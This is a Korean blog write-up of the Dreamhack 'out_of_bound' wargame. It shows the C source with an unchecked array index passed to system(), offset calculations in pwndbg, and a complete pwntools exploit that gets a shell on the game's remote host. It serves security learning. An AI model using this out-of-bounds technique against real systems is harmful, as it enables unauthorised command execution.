[드림핵 시스템 해킹] Wargame : out_of_bound

asdf·2025년 1월 14일

pwnable

목록 보기
22/36

문제


풀이


취약점 분석


Canary와 NX가 적용되어 있습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

system(command[idx])에서 idx를 받을 때 제한 조건이 없기 때문에 Out of bound를 사용해서 "/bin/sh"를 실행할 수 있을 것 같습니다.

익스플로잇 실행

system(command[idx])에서 셸을 실행하기 위해서 name에 "/bin/sh" 값을 저장한 후 oob를 활용해서 command[idx]에서 읽어오면 해결할 수 있을 것 같습니다.
pwndbg로 name과 command 사이의 오프셋을 구해보겠습니다.

pwndbg> p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>

command는 0x804a060, name은 0x804a0ac로 76바이트만큼 차이가 납니다.
command는 char* 형으로 정의되어 있고, 이는 32비트 환경에서 실행되는 바이너리이기 때문에 4바이트입니다.
따라서 command[0] = 0x804a060이고 command[1] = 0x804a060+4, ... command[19] = 0x804a060+(19*4)가 됩니다.
따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 있는 값을 가리킵니다.

그럼 이제 name에 b"/bin/sh\x00"을 넣은 후 코드를 실행하면 해결이 될 거 같지만 실행 결과는 system함수에 인자로 "/bin"이 들어가게 됩니다.
이를 해결하기 위해서는 "/bin/sh\x00" 문자열 자체가 아닌 문자열이 저장된 주소가 인자로 들어가야 합니다.
그러므로 payload에 name주소를 추가한 후 idx에 2를 더해주면 됩니다.
아래는 완성된 코드입니다.

from pwn import *

p = remote("host1.dreamhack.games", 15745)
e = ELF("./out_of_bound")

payload = b'/bin/sh\x00' + p32(e.symbols["name"])
p.sendlineafter("name: ", payload)
#21인 이유는 name[0]="/bin", name[1]="/sh\x00", name[2]=*name이므로 19+2=21이 됩니다.
p.sendlineafter("want?: ", str(21))

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글